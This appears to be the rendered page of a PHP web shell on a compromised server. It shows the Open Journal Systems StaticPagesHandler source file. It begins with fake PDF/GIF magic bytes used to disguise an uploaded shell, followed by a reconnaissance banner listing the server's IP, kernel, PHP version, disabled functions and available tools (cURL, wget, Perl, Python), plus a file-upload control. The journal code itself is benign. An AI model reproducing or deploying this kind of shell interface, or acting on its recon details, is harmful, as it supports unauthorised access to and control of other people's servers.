%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/generic/staticPages/ |
Upload File : |
<?php
/**
* @file plugins/generic/staticPages/StaticPagesHandler.inc.php
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2003-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* @package plugins.generic.staticPages
* @class StaticPagesHandler
*
* Find the content and display the appropriate page
*
*/
import('classes.handler.Handler');
class StaticPagesHandler extends Handler {
function index( $args ) {
Request::redirect(null, null, 'view', Request::getRequestedOp());
}
function view ($args) {
if (count($args) > 0 ) {
AppLocale::requireComponents(LOCALE_COMPONENT_PKP_COMMON, LOCALE_COMPONENT_APPLICATION_COMMON, LOCALE_COMPONENT_PKP_USER);
$journal =& Request::getJournal();
$journalId = $journal?$journal->getId():0;
$path = $args[0];
$staticPagesPlugin =& PluginRegistry::getPlugin('generic', STATIC_PAGES_PLUGIN_NAME);
$templateMgr =& TemplateManager::getManager();
$staticPagesDao =& DAORegistry::getDAO('StaticPagesDAO');
$staticPage = $staticPagesDao->getStaticPageByPath($journalId, $path);
if ( !$staticPage ) {
Request::redirect(null, 'index');
}
// and assign the template vars needed
$templateMgr->assign('title', $staticPage->getStaticPageTitle());
$templateMgr->assign('content', $staticPage->getStaticPageContent());
$templateMgr->display($staticPagesPlugin->getTemplatePath().'content.tpl');
}
}
}
?>